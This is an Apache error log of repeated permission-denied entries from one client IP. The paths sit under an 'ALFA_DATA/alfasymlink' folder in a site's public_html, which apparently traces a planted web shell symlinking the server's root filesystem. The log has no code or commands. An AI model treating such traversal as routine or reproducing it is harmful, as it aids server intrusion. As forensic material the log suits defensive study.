[Sun Oct 25 14:27:07.223976 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:27:07.223993 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:27:07.224007 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:27:07.224077 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:27:07.224104 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:27:07.224117 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:27:07.224130 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:27:07.224146 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:27:07.224158 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:27:07.224173 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:27:07.224198 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:27:07.224213 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:27:07.224226 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:27:07.224242 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:27:07.224255 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:27:07.224269 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:27:07.224282 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:27:07.224295 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:27:07.224308 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:27:07.224321 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:27:07.224342 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:27:07.224358 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:27:07.224371 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:27:07.224411 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:27:07.224438 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:27:07.224452 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:27:07.224548 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:27:07.224575 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:27:07.224614 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:27:07.224631 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:27:07.224653 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:27:07.224667 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:27:07.224680 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:27:07.224693 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:27:07.224707 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:27:07.224720 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:27:07.224738 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:27:07.224752 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:27:07.224766 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:27:07.224786 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:27:07.224801 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:27:07.224813 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:27:07.224826 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:27:07.224859 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:27:07.224875 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:27:07.224890 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:27:07.224918 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:27:07.224961 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:27:07.224976 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:27:07.224998 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:27:07.225012 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:27:07.225025 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:27:07.225037 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:27:07.225050 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:27:07.225063 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:27:07.225075 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:27:07.225090 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:27:07.225103 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:27:07.225115 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:27:07.225134 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:27:07.225164 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:27:07.225179 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:27:07.225193 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:27:07.225207 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:27:07.225232 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:27:07.225254 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:27:07.225268 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/DRWsFfNFOJ/' is executable
